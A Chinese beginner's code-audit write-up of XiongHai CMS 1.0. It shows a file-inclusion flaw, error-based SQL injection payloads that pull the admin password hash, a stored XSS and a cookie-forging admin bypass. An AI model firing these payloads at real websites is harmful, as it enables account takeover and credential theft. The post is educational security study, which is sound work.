熊海是一款小型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是比较多的,而且审计起来难度不大,非常适合入门,所以今天我进行这款cms的代码审计。程序安装后使用seay源代码审计系统打开,首先使用自动审计。

  可以看到,seay源代码审计工具还是审出了非常多的可疑漏洞的,但是这款工具还是有一定的误报率的。我们需要做的就是可疑漏洞的检查。

0x01 /index.php 的文件包含

  我们首先检查第一个可疑漏洞,打开/index.php文件:

  1. <?php
  2. //单一入口模式
  3. error_reporting(0); //关闭错误显示
  4. $file=addslashes($_GET['r']); //接收文件名
  5. $action=$file==''?'index':$file; //判断为空或者等于index
  6. include('files/'.$action.'.php'); //载入相应文件
  7. ?>

  在第6行,我们可以发现这里存在一个非常明显的文件包含漏洞,参数r没有经过任何过滤直接被include包含。我们在根目录下创建phpinfo.php文件,内容为<?php phpinfo(); ?>,在url里提交?r=../phpinfo,程序添加.php后缀名后产生了文件包含。

  /admin/index.php也同理存在文件包含漏洞。

 0x02 /admin/files/login.php SQL注入

  后面的这些漏洞暂时不看,对一个网站来说,后台登陆的安全性需求最高,我们直接来看登陆页面的代码:

  1. <?php
  2. ob_start();
  3. require '../inc/conn.php';
  4. $login=$_POST['login'];
  5. $user=$_POST['user'];
  6. $password=$_POST['password'];
  7. $checkbox=$_POST['checkbox'];
  8.  
  9. if ($login<>""){
  10. $query = "SELECT * FROM manage WHERE user='$user'";
  11. $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  12. $users = mysql_fetch_array($result);
  13.  
  14. if (!mysql_num_rows($result)) {
  15. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  16. exit;
  17. }else{
  18. $passwords=$users['password'];
  19. if(md5($password)<>$passwords){
  20. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  21. exit;
  22. }
  23. //写入登录信息并记住30天
  24. if ($checkbox==1){
  25. setcookie('user',$user,time()+3600*24*30,'/');
  26. }else{
  27. setcookie('user',$user,0,'/');
  28. }
  29. echo "<script>this.location='?r=index'</script>";
  30. exit;
  31. }
  32. exit;
  33. ob_end_flush();
  34. }
  35. ?>

  一段赏心悦目的漏洞,如果所有的网站都这样就不会陷入日站日不动,审计没思路的尴尬局面了。简单看了一眼代码后,企图直接万能密码登陆,登陆的时候发现可以用错误的用户名和正确的密码登陆,如果密码不正确还是不能登陆。黑盒测试失败,继续回来看代码吧...

  首先程序用post方式接收我们传递的参数,然后未经任何过滤进行了用户名校验,如果用户名存在继续进行密码校验。问题出在代码的第19行,这里首先将我们传递的password变量进行md5散列,然后拿散列值与数据库里面的密码进行核对,这也就是我们不能采用万能密码绕过的原因。不过问题不大这里的sql注入算是石锤了,我们可以通过报错注入来利用这个漏洞。我们提交用户名为:

  1. 1' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) #

  成功报错,我们利用返回的md5值查找对应的密码,结果是找不到的,仔细查看原因发现返回的md5值只有27位...所以我们要进行两次报错注入拼接md5值,最终payload:

  1. 1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
  2. 1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #

 0x03 后台的SQL注入

  成功登陆后台之后我们再查看后台的可疑漏洞,根据自动分析的结果,我们看到了一大堆SQL注入漏洞。一个一个点开看,非常多的变量使用了addslashes进行过滤,这里也不存在gbk和utf-8的编码问题,所以也不用考虑宽字节注入,基本确定属于误报。后面第一个真正的漏洞位于/admin/files/editlink.php,源码如下:

  1. <?php
  2. require '../inc/checklogin.php';
  3. require '../inc/conn.php';
  4. $linklistopen='class="open"';
  5. $id=$_GET['id'];
  6. $query = "SELECT * FROM link WHERE id='$id'";
  7. $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  8. $link = mysql_fetch_array($resul);
  9.  
  10. $save=$_POST['save'];
  11. $name=$_POST['name'];
  12. $url=$_POST['url'];
  13. $mail=$_POST['mail'];
  14. $jieshao=$_POST['jieshao'];
  15. $xs=$_POST['xs'];
  16. if ($xs==""){
  17. $xs=1;
  18. }
  19.  
  20. if ($save==1){
  21.  
  22. if ($name==""){
  23. echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>";
  24. exit;
  25. }
  26. if ($url==""){
  27. echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>";
  28. exit;
  29. }
  30.  
  31. $query = "UPDATE link SET
  32. name='$name',
  33. url='$url',
  34. mail='$mail',
  35. jieshao='$jieshao',
  36. xs='$xs',
  37. date=now()
  38. WHERE id='$id'";
  39. @mysql_query($query) or die('修改错误:'.mysql_error());
  40. echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>";
  41. exit;
  42. }
  43. ?>

  非常明显还是那个老问题,通过post提交变量,中间没有进行任何过滤直接查询数据库,继续用刚刚的payload吧,漏洞确实存在的,而且后面还有好多处,不挨个写了。

  1. ' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '

0x04 留言板XSS

  源码审计系统还报了一处位于/seacmseditor/php/controller.php的XSS漏洞,但是这里在输出到浏览器的时候被htmlspecialchars转义成为了html实体,所以说这又是一个误报。但是这套CMS还有一个影响比较严重的XSS没有被扫描出,CMS的前台留言板没有进行XSS过滤,后台管理界面也没有进行过滤,因此产生了存储型XSS,而且有针对性的攻击管理员,属于比较危险的一类XSS了。这里不贴代码了。

0x05 垂直越权

  自动审计结果还给出了好几个/inc目录下的任意文件读取,挨个打开阅读源码之后并没有发现这个漏洞,倒是checklogin.php存在一个垂直越权漏洞:

  1. <?php
  2. $user=$_COOKIE['user'];
  3. if ($user==""){
  4. header("Location: ?r=login");
  5. exit;
  6. }
  7. ?>

  一个判断管理员的程序,如果COOKIE中user参数为空,那么就跳转到登陆窗。这样的话越权就很轻松了,我们访问一个需要管理员权限的页面,例如http://127.0.0.1/xhcms-1.0/admin/?r=editlink,抓包在COOKIE后面添加user=admin即可实现越权。

  总之这款CMS对新手友好,大家也可以试着玩一下!

熊海CMS_1.0 代码审计的更多相关文章

  1. 【php代码审计】熊海cms1.0

    0x01 环境安装 1. 熊海cms1.0 (http://js.down.chinaz.com/201503/xhcms_v1.0.rar) 2.seay代码审计工具 3. phpstudy (ph ...

  2. 熊海CMS xhcms v1.0代码审计

    有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...

  3. 熊海cms v1.0 完全代码审计

    很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...

  4. Emlog V6.0.0代码审计笔记

    前言 emlog是一套基于PHP和MySQL的博客及CMS建站系统. emlog v6.0.0存在后台SQL注入漏洞. 分析 官网下载emlog最新版v6.0.0,本地搭建. 前台功能不多,参数基本都 ...

  5. 某团队线下赛AWD writeup&Beescms_V4.0代码审计

    还是跟上篇一样.拿别人比赛的来玩一下.  0x01 预留后门 连接方式: 0x02 后台登录口SQL注入 admin/login.php 在func.php当中找到定义的check_login函数 很 ...

  6. 代码审计-Beescms_V4.0

    Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码  看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍. 0x01 预留后门 awd首先备份源码,然后下载下来查杀后门, ...

  7. JQUERY省、市、县城市联动选择

    JQUERY 插件开发——CITYLINKAGE(省.市.县城市联动选择) 第一部分:背景   开发源于需求,本次城市联动选择插件算是我写插件的一个特例吧,不是我目前工作需要些的,算是兴趣驱使吧.之前 ...

  8. js实现省市区联动

    先来看看效果图吧,嘻嘻~~~~~~~~~~~~~~~~~~~· 代码在下面: 示例一: html: <!DOCTYPE html> <html> <head> &l ...

  9. Jquery 插件开发——citylinkage(省、市、县城市联动选择)

    第一部分:背景  开发源于需求,本次城市联动选择插件算是我写插件的一个特例吧,不是我目前工作需要些的,算是兴趣驱使吧.之前呢,一直想写这个插件,然后错过了一个写这个插件的机会(这个得回顾到很久以前了. ...

随机推荐

  1. STL学习顺序

    仅供参考,大家要学会自己制作,很有成就感的啊! 先看<c++标准程序库>这本书很厚,但是其实很简单,然后再看effective stl,注意顺序,我初学的时候stl还没了解多少就看effe ...

  2. JZOJ-2019-11-8 A组

    T1 给定\(n\)个点的坐标(\(0 \leq xi,yi \leq 10000\))求选出任意三个点能组成的三角形的总面积. Input 第一行\(n\)表示点数.接下来每行两个数\(x_i\), ...

  3. Jshint 安装方法

    首先在编辑器中搜索扩展程序 "Jshint" 并安装,安装成功后 打开Javascript文件会出现报错提示: "Failed to load jshint librar ...

  4. Mysql插入数据里有中文字符出现Incorrect string value的错误

    问题:Mysql插入数据里有中文字符出现Incorrect string value的错误   描述:CMD里直接敲代码插入数据   提示的部分截取为:ERROR 1366 (HY000): Inco ...

  5. 编写注册表.reg文件

    Windows 中的注册表文件( system.dat 和 user.dat )是 Windows 的核心数据库,因此,对 Windows 来说是非常重要的. 通过修改注册表文件中的数据,可以达到优化 ...

  6. Ajax请求文件下载操作失败的原因和解决办法

    使用Poi做excel表格导出功能,第一个想到的就是用Ajax来发送请求,但是Ajax和后台代码都执行了,就是无法下载文件. 前台代码 function exportExl(){ var form = ...

  7. UML-架构分析-架构原则

    1.高内聚 2.低耦合 3.防止变异(间接性等) 4.关注点分离 方法1: 事物模块化,封装到单独的子系统中 方法2: 装饰者模式 方法3: 面向方面(AOP)

  8. MySQL各种存储引擎对比总结

    1.MyISAM 是MySQL5.5版之前默认的存储引擎,特点:数据文件和索引文件可以放置在不同的目录,平局分布IO,获得更快的速度.不支持事务,不支持外键. 2.InnoDB 是 MySQL5.5版 ...

  9. PAT A1009-1012

    A 1009 Product of Polynomials (25 point(s)) 读懂题意就行. #include <cstdio> #include <iostream> ...

  10. Java学习十三

    学习内容: 1.Java反射 2.jdbc入门 1.反射的概述 Java的反射机制:动态获取信息以及动态调用对象方法 Java的反射机制的作用:用来编写一些通用性较高的代码或者框架的时候使用 原理:j ...